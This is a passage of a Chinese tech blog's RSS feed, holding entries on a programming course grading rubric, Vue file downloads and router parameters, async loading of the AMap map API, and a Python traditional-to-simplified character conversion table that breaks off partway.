30分&#xA;1.控制台程序设计基本程序结构完整，源程序基本合理，能显示基本要求15分（要求程序基本清楚，程序结构准确）。&#xA;2. 控制台程序功能准确完成，并能按要求输出正确数据结果,知识点说明符合规范15分。&#xA;（包含题目要求的各项要求，成功编译执行,文档等设计规范并作为评分依据）。&#xA;第二题 35分&#xA;1. 多窗体程序设计基本框架结构完整，源程序基本合理 20分（要求窗体程序基本清楚，程序结构准确,完成要求的基本功能）。&#xA;2. 窗体和绘图程序设计功能准确完成，能按要求完成图形绘制计,进一步优化界面完成各项功能占15分（其中包含题目要求的各项功能，成功编译执行等设计规范并作为评分依据）。&#xA;第三题 35分&#xA;1. 窗体和控件的设计基本框架结构完整，源程序基本合理 20分（要求程序基本清楚，程序结构准确）。&#xA;2. 程序的文件读写设计功能准确完成，能按要求准确完整的完成数据的有效读写等各项功能占15分（其中包含题目要求的各项功能，成功编译执行等设计规范并作为评分依据）。</description>
    </item>
    <item>
      <title>前端vue下使用a标签实现下载本地文件的功能</title>
      <link>https://bchobby.github.io/posts/63413158e360268cec8498f7df750f2e/</link>
      <pubDate>Tue, 07 Jan 2020 16:37:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63413158e360268cec8498f7df750f2e/</guid>
      <description>vue-cli 2.0做法：&#xA;vue的static文件夹中放这个要下载的文件模板，名字可以随意但必须是英文的，前端可以通过设置download内容修改下载后的名字，这里可以是中文的。&#xA;&amp;lt;a href=&#34;../../../static/template.csv&#34; download=&#34;分析模板.csv&#34;&amp;gt; &amp;lt;img src=&#34;../assets/image/download.png&#34; width=&#34;20&#34; class=&#34;pointer&#34; title=&#34;下载文件模板&#34;/&amp;gt; &amp;lt;/a&amp;gt; 注意：&#xA;1、download属性中最好把后缀名加上，虽然macbook没有问题，但是windows上没加后缀名的时候会下载一个无后缀名的文件，无法正常打开。&#xA;2、文件必须放在static文件夹中，我尝试过放在静态文件assets文件夹中，会报错找不到文件。&#xA;————————分割线————————&#xA;下面更新一下vue-cli3.0写法。3.0取消了static文件夹，这里需要放在public文件夹里。&#xA;data() { return { path:process.env.BASE_URL }; &amp;lt;a :href=&#34;`${path}template.csv`&#34; download=&#34;自定义名字.csv&#34;&amp;gt; &amp;lt;img src=&#34;../../assets/image/download.png&#34; width=&#34;20&#34; class=&#34;pointer&#34; title=&#34;下载文件模板&#34; alt=&#34;&#34;/&amp;gt; &amp;lt;/a&amp;gt; 第一次放pulic 找不到 大概是因为 src 下面的内容会被打包编辑 文件放在pulic 下面了就不会打包 所以再页面上应该是打包之后的地址 他找的是打包之后的文件 而文件并没有被打包 所以找不到&#xA;public文件夹介绍：&#xA;https://cli.vuejs.org/zh/guide/html-and-static-assets.html#public-%E6%96%87%E4%BB%B6%E5%A4%B9</description>
    </item>
    <item>
      <title>前端 页面跳转 路由带参数的各种情况</title>
      <link>https://bchobby.github.io/posts/8febd1968486f931246263d32a820227/</link>
      <pubDate>Tue, 07 Jan 2020 16:31:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8febd1968486f931246263d32a820227/</guid>
      <description>新页面跳转，且url的参数必传，如果缺少参数页面空白，不显示内容。&#xA;let routeUrl = this.$router.resolve({ path: `/industry/${this.idx}`//有多个的话就继续按照这个格式拼接 }); window.open(routeUrl.href, &#39;_blank&#39;)//第二个值决定的 后面会讲本页面跳转 跳转的新页面取值方法&#xA;mounted(){ this.id = this.$route.params.id;//这个params.id的id取决于你在router中的index.js命名 } route:[ { path:&#34;/industry/:id&#34;,//这个id对应取值那个params.id name:&#34;IndustryDetail&#34;, component:IndustryDetail, meta:{ title:&#34;&#34; }, props: true, }, ] 本页面跳转，且url参数可传可不传，缺少参数也不影响页面显示。&#xA;let routeUrl = this.$router.resolve({ path: &#39;/industry&#39;, params:{ id:this.id, type:this.type, }//有多个的话就继续按照这个格式拼接 }); window.open(routeUrl.href, &#39;_self&#39;)//新页面打开还是本页面打开只由第二个值决定 跳转的新页面取值方法&#xA;mounted(){ this.id = this.$route.query.id;//这个query.id的id取决于你在跳转来的那个页面中的params内的字段命名 this.type = this.$route.query.type; } route中配置只需要这样写，不需要带参数&#xA;route:[ { path:&#34;/industry&#34;, name:&#34;IndustryDetail&#34;, component:IndustryDetail, meta:{ title:&#34;&#34; }, props: true, }, ] 本文举例说明了两种情况，一共有4种情况，请各位使用时根据自己的需要进行改变。</description>
    </item>
    <item>
      <title>在vue中使用高德地图（异步引入方式，不使用依赖）</title>
      <link>https://bchobby.github.io/posts/c204267a7f56cf12fef8f743fa514dba/</link>
      <pubDate>Tue, 07 Jan 2020 16:10:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c204267a7f56cf12fef8f743fa514dba/</guid>
      <description>1、创建一个AMap.js,路径：src/assets/AMap/AMap.js&#xA;/* * 异步创建script标签 */ export default function MapLoader () { return new Promise((resolve, reject) =&amp;gt; { if (window.AMap) { resolve(window.AMap) } else { var script = document.createElement(&#39;script&#39;) script.type = &#39;text/javascript&#39; script.async = true script.src = &#39;http://webapi.amap.com/maps?v=1.4.15&amp;amp;callback=initAMap&amp;amp;key=高德申请的key&#39; script.onerror = reject document.head.appendChild(script) } window.initAMap = () =&amp;gt; { resolve(window.AMap) } }) } 2、在任何.vue文件中使用：&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;div class=&#34;maploader&#34;&amp;gt; &amp;lt;div id=&#34;mymap&#34; class=&#34;map&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import MapLoader from &#39;@/assets/AMap/AMap.js&#39; export default { components: { }, name: &#39;maploader&#39;, data() { return { map: null }; }, mounted () { let that = this MapLoader().</description>
    </item>
    <item>
      <title>Python繁体中文和简体中文互转</title>
      <link>https://bchobby.github.io/posts/74affdb87f9ed4afc9a4081297f0587e/</link>
      <pubDate>Tue, 07 Jan 2020 10:54:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74affdb87f9ed4afc9a4081297f0587e/</guid>
      <description>langconv.py&#xA;# -!- coding: utf-8 -!- from copy import deepcopy # 简体 zh2Hans = {&#39;顯著&#39;: &#39;显著&#39;, &#39;土著&#39;: &#39;土著&#39;, &#39;印表機&#39;: &#39;打印机&#39;, &#39;說明檔案&#39;: &#39;帮助文件&#39;, &#39;瀋&#39;: &#39;沈&#39;, &#39;畫&#39;: &#39;画&#39;, &#39;鍾&#39;: &#39;锺&#39;, &#39;靦&#39;: &#39;腼&#39;, &#39;餘&#39;: &#39;馀&#39;, &#39;鯰&#39;: &#39;鲶&#39;, &#39;鹼&#39;: &#39;碱&#39;, &#39;㠏&#39;: &#39;㟆&#39;, &#39;𡞵&#39;: &#39;㛟&#39;, &#39;万&#39;: &#39;万&#39;, &#39;与&#39;: &#39;与&#39;, &#39;丑&#39;: &#39;丑&#39;, &#39;丟&#39;: &#39;丢&#39;, &#39;並&#39;: &#39;并&#39;, &#39;丰&#39;: &#39;丰&#39;, &#39;么&#39;: &#39;么&#39;, &#39;乾&#39;: &#39;干&#39;, &#39;乾坤&#39;: &#39;乾坤&#39;, &#39;乾隆&#39;: &#39;乾隆&#39;, &#39;亂&#39;: &#39;乱&#39;, &#39;云&#39;: &#39;云&#39;, &#39;亙&#39;: &#39;亘&#39;, &#39;亞&#39;: &#39;亚&#39;, &#39;仆&#39;: &#39;仆&#39;, &#39;价&#39;: &#39;价&#39;, &#39;伙&#39;: &#39;伙&#39;, &#39;佇&#39;: &#39;伫&#39;, &#39;佈&#39;: &#39;布&#39;, &#39;体&#39;: &#39;体&#39;, &#39;余&#39;: &#39;馀&#39;, &#39;佣&#39;: &#39;佣&#39;, &#39;併&#39;: &#39;并&#39;, &#39;來&#39;: &#39;来&#39;, &#39;侖&#39;: &#39;仑&#39;, &#39;侶&#39;: &#39;侣&#39;, &#39;俁&#39;: &#39;俣&#39;, &#39;係&#39;: &#39;系&#39;, &#39;俔&#39;: &#39;伣&#39;, &#39;俠&#39;: &#39;侠&#39;, &#39;倀&#39;: &#39;伥&#39;, &#39;倆&#39;: &#39;俩&#39;, &#39;倈&#39;: &#39;俫&#39;, &#39;倉&#39;: &#39;仓&#39;, &#39;個&#39;: &#39;个&#39;, &#39;們&#39;: &#39;们&#39;, &#39;倫&#39;: &#39;伦&#39;, &#39;偉&#39;: &#39;伟&#39;, &#39;側&#39;: &#39;侧&#39;, &#39;偵&#39;: &#39;侦&#39;, &#39;偽&#39;: &#39;伪&#39;, &#39;傑&#39;: &#39;杰&#39;, &#39;傖&#39;: &#39;伧&#39;, &#39;傘&#39;: &#39;伞&#39;, &#39;備&#39;: &#39;备&#39;, &#39;傢&#39;: &#39;家&#39;, &#39;傭&#39;: &#39;佣&#39;, &#39;傯&#39;: &#39;偬&#39;, &#39;傳&#39;: &#39;传&#39;, &#39;傴&#39;: &#39;伛&#39;, &#39;債&#39;: &#39;债&#39;, &#39;傷&#39;: &#39;伤&#39;, &#39;傾&#39;: &#39;倾&#39;, &#39;僂&#39;: &#39;偻&#39;, &#39;僅&#39;: &#39;仅&#39;, &#39;僉&#39;: &#39;佥&#39;, &#39;僑&#39;: &#39;侨&#39;, &#39;僕&#39;: &#39;仆&#39;, &#39;僞&#39;: &#39;伪&#39;, &#39;僥&#39;: &#39;侥&#39;, &#39;僨&#39;: &#39;偾&#39;, &#39;價&#39;: &#39;价&#39;, &#39;儀&#39;: &#39;仪&#39;, &#39;儂&#39;: &#39;侬&#39;, &#39;億&#39;: &#39;亿&#39;, &#39;儈&#39;: &#39;侩&#39;, &#39;儉&#39;: &#39;俭&#39;, &#39;儐&#39;: &#39;傧&#39;, &#39;儔&#39;: &#39;俦&#39;, &#39;儕&#39;: &#39;侪&#39;, &#39;儘&#39;: &#39;尽&#39;, &#39;償&#39;: &#39;偿&#39;, &#39;優&#39;: &#39;优&#39;, &#39;儲&#39;: &#39;储&#39;, &#39;儷&#39;: &#39;俪&#39;, &#39;儸&#39;: &#39;㑩&#39;, &#39;儺&#39;: &#39;傩&#39;, &#39;儻&#39;: &#39;傥&#39;, &#39;儼&#39;: &#39;俨&#39;, &#39;儿&#39;: &#39;儿&#39;, &#39;兇&#39;: &#39;凶&#39;, &#39;兌&#39;: &#39;兑&#39;, &#39;兒&#39;: &#39;儿&#39;, &#39;兗&#39;: &#39;兖&#39;, &#39;党&#39;: &#39;党&#39;, &#39;內&#39;: &#39;内&#39;, &#39;兩&#39;: &#39;两&#39;, &#39;冊&#39;: &#39;册&#39;, &#39;冪&#39;: &#39;幂&#39;, &#39;准&#39;: &#39;准&#39;, &#39;凈&#39;: &#39;净&#39;, &#39;凍&#39;: &#39;冻&#39;, &#39;凜&#39;: &#39;凛&#39;, &#39;几&#39;: &#39;几&#39;, &#39;凱&#39;: &#39;凯&#39;, &#39;划&#39;: &#39;划&#39;, &#39;別&#39;: &#39;别&#39;, &#39;刪&#39;: &#39;删&#39;, &#39;剄&#39;: &#39;刭&#39;, &#39;則&#39;: &#39;则&#39;, &#39;剋&#39;: &#39;克&#39;, &#39;剎&#39;: &#39;刹&#39;, &#39;剗&#39;: &#39;刬&#39;, &#39;剛&#39;: &#39;刚&#39;, &#39;剝&#39;: &#39;剥&#39;, &#39;剮&#39;: &#39;剐&#39;, &#39;剴&#39;: &#39;剀&#39;, &#39;創&#39;: &#39;创&#39;, &#39;劃&#39;: &#39;划&#39;, &#39;劇&#39;: &#39;剧&#39;, &#39;劉&#39;: &#39;刘&#39;, &#39;劊&#39;: &#39;刽&#39;, &#39;劌&#39;: &#39;刿&#39;, &#39;劍&#39;: &#39;剑&#39;, &#39;劏&#39;: &#39;㓥&#39;, &#39;劑&#39;: &#39;剂&#39;, &#39;劚&#39;: &#39;㔉&#39;, &#39;勁&#39;: &#39;劲&#39;, &#39;動&#39;: &#39;动&#39;, &#39;務&#39;: &#39;务&#39;, &#39;勛&#39;: &#39;勋&#39;, &#39;勝&#39;: &#39;胜&#39;, &#39;勞&#39;: &#39;劳&#39;, &#39;勢&#39;: &#39;势&#39;, &#39;勩&#39;: &#39;勚&#39;, &#39;勱&#39;: &#39;劢&#39;, &#39;勵&#39;: &#39;励&#39;, &#39;勸&#39;: &#39;劝&#39;, &#39;勻&#39;: &#39;匀&#39;, &#39;匭&#39;: &#39;匦&#39;, &#39;匯&#39;: &#39;汇&#39;, &#39;匱&#39;: &#39;匮&#39;, &#39;區&#39;: &#39;区&#39;, &#39;協&#39;: &#39;协&#39;, &#39;卷&#39;: &#39;卷&#39;, &#39;卻&#39;: &#39;却&#39;, &#39;厂&#39;: &#39;厂&#39;, &#39;厙&#39;: &#39;厍&#39;, &#39;厠&#39;: &#39;厕&#39;, &#39;厭&#39;: &#39;厌&#39;, &#39;厲&#39;: &#39;厉&#39;, &#39;厴&#39;: &#39;厣&#39;, &#39;參&#39;: &#39;参&#39;, &#39;叄&#39;: &#39;叁&#39;, &#39;叢&#39;: &#39;丛&#39;, &#39;台&#39;: &#39;台&#39;, &#39;叶&#39;: &#39;叶&#39;, &#39;吊&#39;: &#39;吊&#39;, &#39;后&#39;: &#39;后&#39;, &#39;吒&#39;: &#39;咤&#39;, &#39;吳&#39;: &#39;吴&#39;, &#39;吶&#39;: &#39;呐&#39;, &#39;呂&#39;: &#39;吕&#39;, &#39;獃&#39;: &#39;呆&#39;, &#39;咼&#39;: &#39;呙&#39;, &#39;員&#39;: &#39;员&#39;, &#39;唄&#39;: &#39;呗&#39;, &#39;唚&#39;: &#39;吣&#39;, &#39;問&#39;: &#39;问&#39;, &#39;啓&#39;: &#39;启&#39;, &#39;啞&#39;: &#39;哑&#39;, &#39;啟&#39;: &#39;启&#39;, &#39;啢&#39;: &#39;唡&#39;, &#39;喎&#39;: &#39;㖞&#39;, &#39;喚&#39;: &#39;唤&#39;, &#39;喪&#39;: &#39;丧&#39;, &#39;喬&#39;: &#39;乔&#39;, &#39;單&#39;: &#39;单&#39;, &#39;喲&#39;: &#39;哟&#39;, &#39;嗆&#39;: &#39;呛&#39;, &#39;嗇&#39;: &#39;啬&#39;, &#39;嗊&#39;: &#39;唝&#39;, &#39;嗎&#39;: &#39;吗&#39;, &#39;嗚&#39;: &#39;呜&#39;, &#39;嗩&#39;: &#39;唢&#39;, &#39;嗶&#39;: &#39;哔&#39;, &#39;嘆&#39;: &#39;叹&#39;, &#39;嘍&#39;: &#39;喽&#39;, &#39;嘔&#39;: &#39;呕&#39;, &#39;嘖&#39;: &#39;啧&#39;, &#39;嘗&#39;: &#39;尝&#39;, &#39;嘜&#39;: &#39;唛&#39;, &#39;嘩&#39;: &#39;哗&#39;, &#39;嘮&#39;: &#39;唠&#39;, &#39;嘯&#39;: &#39;啸&#39;, &#39;嘰&#39;: &#39;叽&#39;, &#39;嘵&#39;: &#39;哓&#39;, &#39;嘸&#39;: &#39;呒&#39;, &#39;嘽&#39;: &#39;啴&#39;, &#39;噁&#39;: &#39;恶&#39;, &#39;噓&#39;: &#39;嘘&#39;, &#39;噚&#39;: &#39;㖊&#39;, &#39;噝&#39;: &#39;咝&#39;, &#39;噠&#39;: &#39;哒&#39;, &#39;噥&#39;: &#39;哝&#39;, &#39;噦&#39;: &#39;哕&#39;, &#39;噯&#39;: &#39;嗳&#39;, &#39;噲&#39;: &#39;哙&#39;, &#39;噴&#39;: &#39;喷&#39;, &#39;噸&#39;: &#39;吨&#39;, &#39;噹&#39;: &#39;当&#39;, &#39;嚀&#39;: &#39;咛&#39;, &#39;嚇&#39;: &#39;吓&#39;, &#39;嚌&#39;: &#39;哜&#39;, &#39;嚕&#39;: &#39;噜&#39;, &#39;嚙&#39;: &#39;啮&#39;, &#39;嚥&#39;: &#39;咽&#39;, &#39;嚦&#39;: &#39;呖&#39;, &#39;嚨&#39;: &#39;咙&#39;, &#39;嚮&#39;: &#39;向&#39;, &#39;嚲&#39;: &#39;亸&#39;, &#39;嚳&#39;: &#39;喾&#39;, &#39;嚴&#39;: &#39;严&#39;, &#39;嚶&#39;: &#39;嘤&#39;, &#39;囀&#39;: &#39;啭&#39;, &#39;囁&#39;: &#39;嗫&#39;, &#39;囂&#39;: &#39;嚣&#39;, &#39;囅&#39;: &#39;冁&#39;, &#39;囈&#39;: &#39;呓&#39;, &#39;囌&#39;: &#39;苏&#39;, &#39;囑&#39;: &#39;嘱&#39;, &#39;囪&#39;: &#39;囱&#39;, &#39;圇&#39;: &#39;囵&#39;, &#39;國&#39;: &#39;国&#39;, &#39;圍&#39;: &#39;围&#39;, &#39;園&#39;: &#39;园&#39;, &#39;圓&#39;: &#39;圆&#39;, &#39;圖&#39;: &#39;图&#39;, &#39;團&#39;: &#39;团&#39;, &#39;坏&#39;: &#39;坏&#39;, &#39;垵&#39;: &#39;埯&#39;, &#39;埡&#39;: &#39;垭&#39;, &#39;埰&#39;: &#39;采&#39;, &#39;執&#39;: &#39;执&#39;, &#39;堅&#39;: &#39;坚&#39;, &#39;堊&#39;: &#39;垩&#39;, &#39;堖&#39;: &#39;垴&#39;, &#39;堝&#39;: &#39;埚&#39;, &#39;堯&#39;: &#39;尧&#39;, &#39;報&#39;: &#39;报&#39;, &#39;場&#39;: &#39;场&#39;, &#39;塊&#39;: &#39;块&#39;, &#39;塋&#39;: &#39;茔&#39;, &#39;塏&#39;: &#39;垲&#39;, &#39;塒&#39;: &#39;埘&#39;, &#39;塗&#39;: &#39;涂&#39;, &#39;塚&#39;: &#39;冢&#39;, &#39;塢&#39;: &#39;坞&#39;, &#39;塤&#39;: &#39;埙&#39;, &#39;塵&#39;: &#39;尘&#39;, &#39;塹&#39;: &#39;堑&#39;, &#39;墊&#39;: &#39;垫&#39;, &#39;墜&#39;: &#39;坠&#39;, &#39;墮&#39;: &#39;堕&#39;, &#39;墳&#39;: &#39;坟&#39;, &#39;墻&#39;: &#39;墙&#39;, &#39;墾&#39;: &#39;垦&#39;, &#39;壇&#39;: &#39;坛&#39;, &#39;壈&#39;: &#39;𡒄&#39;, &#39;壋&#39;: &#39;垱&#39;, &#39;壓&#39;: &#39;压&#39;, &#39;壘&#39;: &#39;垒&#39;, &#39;壙&#39;: &#39;圹&#39;, &#39;壚&#39;: &#39;垆&#39;, &#39;壞&#39;: &#39;坏&#39;, &#39;壟&#39;: &#39;垄&#39;, &#39;壠&#39;: &#39;垅&#39;, &#39;壢&#39;: &#39;坜&#39;, &#39;壩&#39;: &#39;坝&#39;, &#39;壯&#39;: &#39;壮&#39;, &#39;壺&#39;: &#39;壶&#39;, &#39;壼&#39;: &#39;壸&#39;, &#39;壽&#39;: &#39;寿&#39;, &#39;夠&#39;: &#39;够&#39;, &#39;夢&#39;: &#39;梦&#39;, &#39;夾&#39;: &#39;夹&#39;, &#39;奐&#39;: &#39;奂&#39;, &#39;奧&#39;: &#39;奥&#39;, &#39;奩&#39;: &#39;奁&#39;, &#39;奪&#39;: &#39;夺&#39;, &#39;奬&#39;: &#39;奖&#39;, &#39;奮&#39;: &#39;奋&#39;, &#39;奼&#39;: &#39;姹&#39;, &#39;妝&#39;: &#39;妆&#39;, &#39;姍&#39;: &#39;姗&#39;, &#39;姜&#39;: &#39;姜&#39;, &#39;姦&#39;: &#39;奸&#39;, &#39;娛&#39;: &#39;娱&#39;, &#39;婁&#39;: &#39;娄&#39;, &#39;婦&#39;: &#39;妇&#39;, &#39;婭&#39;: &#39;娅&#39;, &#39;媧&#39;: &#39;娲&#39;, &#39;媯&#39;: &#39;妫&#39;, &#39;媼&#39;: &#39;媪&#39;, &#39;媽&#39;: &#39;妈&#39;, &#39;嫗&#39;: &#39;妪&#39;, &#39;嫵&#39;: &#39;妩&#39;, &#39;嫻&#39;: &#39;娴&#39;, &#39;嫿&#39;: &#39;婳&#39;, &#39;嬀&#39;: &#39;妫&#39;, &#39;嬈&#39;: &#39;娆&#39;, &#39;嬋&#39;: &#39;婵&#39;, &#39;嬌&#39;: &#39;娇&#39;, &#39;嬙&#39;: &#39;嫱&#39;, &#39;嬡&#39;: &#39;嫒&#39;, &#39;嬤&#39;: &#39;嬷&#39;, &#39;嬪&#39;: &#39;嫔&#39;, &#39;嬰&#39;: &#39;婴&#39;, &#39;嬸&#39;: &#39;婶&#39;, &#39;孌&#39;: &#39;娈&#39;, &#39;孫&#39;: &#39;孙&#39;, &#39;學&#39;: &#39;学&#39;, &#39;孿&#39;: &#39;孪&#39;, &#39;宁&#39;: &#39;宁&#39;, &#39;宮&#39;: &#39;宫&#39;, &#39;寢&#39;: &#39;寝&#39;, &#39;實&#39;: &#39;实&#39;, &#39;寧&#39;: &#39;宁&#39;, &#39;審&#39;: &#39;审&#39;, &#39;寫&#39;: &#39;写&#39;, &#39;寬&#39;: &#39;宽&#39;, &#39;寵&#39;: &#39;宠&#39;, &#39;寶&#39;: &#39;宝&#39;, &#39;將&#39;: &#39;将&#39;, &#39;專&#39;: &#39;专&#39;, &#39;尋&#39;: &#39;寻&#39;, &#39;對&#39;: &#39;对&#39;, &#39;導&#39;: &#39;导&#39;, &#39;尷&#39;: &#39;尴&#39;, &#39;屆&#39;: &#39;届&#39;, &#39;屍&#39;: &#39;尸&#39;, &#39;屓&#39;: &#39;屃&#39;, &#39;屜&#39;: &#39;屉&#39;, &#39;屢&#39;: &#39;屡&#39;, &#39;層&#39;: &#39;层&#39;, &#39;屨&#39;: &#39;屦&#39;, &#39;屬&#39;: &#39;属&#39;, &#39;岡&#39;: &#39;冈&#39;, &#39;峴&#39;: &#39;岘&#39;, &#39;島&#39;: &#39;岛&#39;, &#39;峽&#39;: &#39;峡&#39;, &#39;崍&#39;: &#39;崃&#39;, &#39;崗&#39;: &#39;岗&#39;, &#39;崢&#39;: &#39;峥&#39;, &#39;崬&#39;: &#39;岽&#39;, &#39;嵐&#39;: &#39;岚&#39;, &#39;嶁&#39;: &#39;嵝&#39;, &#39;嶄&#39;: &#39;崭&#39;, &#39;嶇&#39;: &#39;岖&#39;, &#39;嶔&#39;: &#39;嵚&#39;, &#39;嶗&#39;: &#39;崂&#39;, &#39;嶠&#39;: &#39;峤&#39;, &#39;嶢&#39;: &#39;峣&#39;, &#39;嶧&#39;: &#39;峄&#39;, &#39;嶮&#39;: &#39;崄&#39;, &#39;嶴&#39;: &#39;岙&#39;, &#39;嶸&#39;: &#39;嵘&#39;, &#39;嶺&#39;: &#39;岭&#39;, &#39;嶼&#39;: &#39;屿&#39;, &#39;嶽&#39;: &#39;岳&#39;, &#39;巋&#39;: &#39;岿&#39;, &#39;巒&#39;: &#39;峦&#39;, &#39;巔&#39;: &#39;巅&#39;, &#39;巰&#39;: &#39;巯&#39;, &#39;帘&#39;: &#39;帘&#39;, &#39;帥&#39;: &#39;帅&#39;, &#39;師&#39;: &#39;师&#39;, &#39;帳&#39;: &#39;帐&#39;, &#39;帶&#39;: &#39;带&#39;, &#39;幀&#39;: &#39;帧&#39;, &#39;幃&#39;: &#39;帏&#39;, &#39;幗&#39;: &#39;帼&#39;, &#39;幘&#39;: &#39;帻&#39;, &#39;幟&#39;: &#39;帜&#39;, &#39;幣&#39;: &#39;币&#39;, &#39;幫&#39;: &#39;帮&#39;, &#39;幬&#39;: &#39;帱&#39;, &#39;幹&#39;: &#39;干&#39;, &#39;幺&#39;: &#39;么&#39;, &#39;幾&#39;: &#39;几&#39;, &#39;广&#39;: &#39;广&#39;, &#39;庫&#39;: &#39;库&#39;, &#39;廁&#39;: &#39;厕&#39;, &#39;廂&#39;: &#39;厢&#39;, &#39;廄&#39;: &#39;厩&#39;, &#39;廈&#39;: &#39;厦&#39;, &#39;廚&#39;: &#39;厨&#39;, &#39;廝&#39;: &#39;厮&#39;, &#39;廟&#39;: &#39;庙&#39;, &#39;廠&#39;: &#39;厂&#39;, &#39;廡&#39;: &#39;庑&#39;, &#39;廢&#39;: &#39;废&#39;, &#39;廣&#39;: &#39;广&#39;, &#39;廩&#39;: &#39;廪&#39;, &#39;廬&#39;: &#39;庐&#39;, &#39;廳&#39;: &#39;厅&#39;, &#39;弒&#39;: &#39;弑&#39;, &#39;弳&#39;: &#39;弪&#39;, &#39;張&#39;: &#39;张&#39;, &#39;強&#39;: &#39;强&#39;, &#39;彆&#39;: &#39;别&#39;, &#39;彈&#39;: &#39;弹&#39;, &#39;彌&#39;: &#39;弥&#39;, &#39;彎&#39;: &#39;弯&#39;, &#39;彙&#39;: &#39;汇&#39;, &#39;彞&#39;: &#39;彝&#39;, &#39;彥&#39;: &#39;彦&#39;, &#39;征&#39;: &#39;征&#39;, &#39;後&#39;: &#39;后&#39;, &#39;徑&#39;: &#39;径&#39;, &#39;從&#39;: &#39;从&#39;, &#39;徠&#39;: &#39;徕&#39;, &#39;復&#39;: &#39;复&#39;, &#39;徵&#39;: &#39;征&#39;, &#39;徹&#39;: &#39;彻&#39;, &#39;志&#39;: &#39;志&#39;, &#39;恆&#39;: &#39;恒&#39;, &#39;恥&#39;: &#39;耻&#39;, &#39;悅&#39;: &#39;悦&#39;, &#39;悞&#39;: &#39;悮&#39;, &#39;悵&#39;: &#39;怅&#39;, &#39;悶&#39;: &#39;闷&#39;, &#39;惡&#39;: &#39;恶&#39;, &#39;惱&#39;: &#39;恼&#39;, &#39;惲&#39;: &#39;恽&#39;, &#39;惻&#39;: &#39;恻&#39;, &#39;愛&#39;: &#39;爱&#39;, &#39;愜&#39;: &#39;惬&#39;, &#39;愨&#39;: &#39;悫&#39;, &#39;愴&#39;: &#39;怆&#39;, &#39;愷&#39;: &#39;恺&#39;, &#39;愾&#39;: &#39;忾&#39;, &#39;愿&#39;: &#39;愿&#39;, &#39;慄&#39;: &#39;栗&#39;, &#39;態&#39;: &#39;态&#39;, &#39;慍&#39;: &#39;愠&#39;, &#39;慘&#39;: &#39;惨&#39;, &#39;慚&#39;: &#39;惭&#39;, &#39;慟&#39;: &#39;恸&#39;, &#39;慣&#39;: &#39;惯&#39;, &#39;慤&#39;: &#39;悫&#39;, &#39;慪&#39;: &#39;怄&#39;, &#39;慫&#39;: &#39;怂&#39;, &#39;慮&#39;: &#39;虑&#39;, &#39;慳&#39;: &#39;悭&#39;, &#39;慶&#39;: &#39;庆&#39;, &#39;憂&#39;: &#39;忧&#39;, &#39;憊&#39;: &#39;惫&#39;, &#39;憐&#39;: &#39;怜&#39;, &#39;憑&#39;: &#39;凭&#39;, &#39;憒&#39;: &#39;愦&#39;, &#39;憚&#39;: &#39;惮&#39;, &#39;憤&#39;: &#39;愤&#39;, &#39;憫&#39;: &#39;悯&#39;, &#39;憮&#39;: &#39;怃&#39;, &#39;憲&#39;: &#39;宪&#39;, &#39;憶&#39;: &#39;忆&#39;, &#39;懇&#39;: &#39;恳&#39;, &#39;應&#39;: &#39;应&#39;, &#39;懌&#39;: &#39;怿&#39;, &#39;懍&#39;: &#39;懔&#39;, &#39;懞&#39;: &#39;蒙&#39;, &#39;懟&#39;: &#39;怼&#39;, &#39;懣&#39;: &#39;懑&#39;, &#39;懨&#39;: &#39;恹&#39;, &#39;懲&#39;: &#39;惩&#39;, &#39;懶&#39;: &#39;懒&#39;, &#39;懷&#39;: &#39;怀&#39;, &#39;懸&#39;: &#39;悬&#39;, &#39;懺&#39;: &#39;忏&#39;, &#39;懼&#39;: &#39;惧&#39;, &#39;懾&#39;: &#39;慑&#39;, &#39;戀&#39;: &#39;恋&#39;, &#39;戇&#39;: &#39;戆&#39;, &#39;戔&#39;: &#39;戋&#39;, &#39;戧&#39;: &#39;戗&#39;, &#39;戩&#39;: &#39;戬&#39;, &#39;戰&#39;: &#39;战&#39;, &#39;戱&#39;: &#39;戯&#39;, &#39;戲&#39;: &#39;戏&#39;, &#39;戶&#39;: &#39;户&#39;, &#39;担&#39;: &#39;担&#39;, &#39;拋&#39;: &#39;抛&#39;, &#39;挩&#39;: &#39;捝&#39;, &#39;挾&#39;: &#39;挟&#39;, &#39;捨&#39;: &#39;舍&#39;, &#39;捫&#39;: &#39;扪&#39;, &#39;据&#39;: &#39;据&#39;, &#39;掃&#39;: &#39;扫&#39;, &#39;掄&#39;: &#39;抡&#39;, &#39;掗&#39;: &#39;挜&#39;, &#39;掙&#39;: &#39;挣&#39;, &#39;掛&#39;: &#39;挂&#39;, &#39;採&#39;: &#39;采&#39;, &#39;揀&#39;: &#39;拣&#39;, &#39;揚&#39;: &#39;扬&#39;, &#39;換&#39;: &#39;换&#39;, &#39;揮&#39;: &#39;挥&#39;, &#39;損&#39;: &#39;损&#39;, &#39;搖&#39;: &#39;摇&#39;, &#39;搗&#39;: &#39;捣&#39;, &#39;搵&#39;: &#39;揾&#39;, &#39;搶&#39;: &#39;抢&#39;, &#39;摑&#39;: &#39;掴&#39;, &#39;摜&#39;: &#39;掼&#39;, &#39;摟&#39;: &#39;搂&#39;, &#39;摯&#39;: &#39;挚&#39;, &#39;摳&#39;: &#39;抠&#39;, &#39;摶&#39;: &#39;抟&#39;, &#39;摺&#39;: &#39;折&#39;, &#39;摻&#39;: &#39;掺&#39;, &#39;撈&#39;: &#39;捞&#39;, &#39;撏&#39;: &#39;挦&#39;, &#39;撐&#39;: &#39;撑&#39;, &#39;撓&#39;: &#39;挠&#39;, &#39;撝&#39;: &#39;㧑&#39;, &#39;撟&#39;: &#39;挢&#39;, &#39;撣&#39;: &#39;掸&#39;, &#39;撥&#39;: &#39;拨&#39;, &#39;撫&#39;: &#39;抚&#39;, &#39;撲&#39;: &#39;扑&#39;, &#39;撳&#39;: &#39;揿&#39;, &#39;撻&#39;: &#39;挞&#39;, &#39;撾&#39;: &#39;挝&#39;, &#39;撿&#39;: &#39;捡&#39;, &#39;擁&#39;: &#39;拥&#39;, &#39;擄&#39;: &#39;掳&#39;, &#39;擇&#39;: &#39;择&#39;, &#39;擊&#39;: &#39;击&#39;, &#39;擋&#39;: 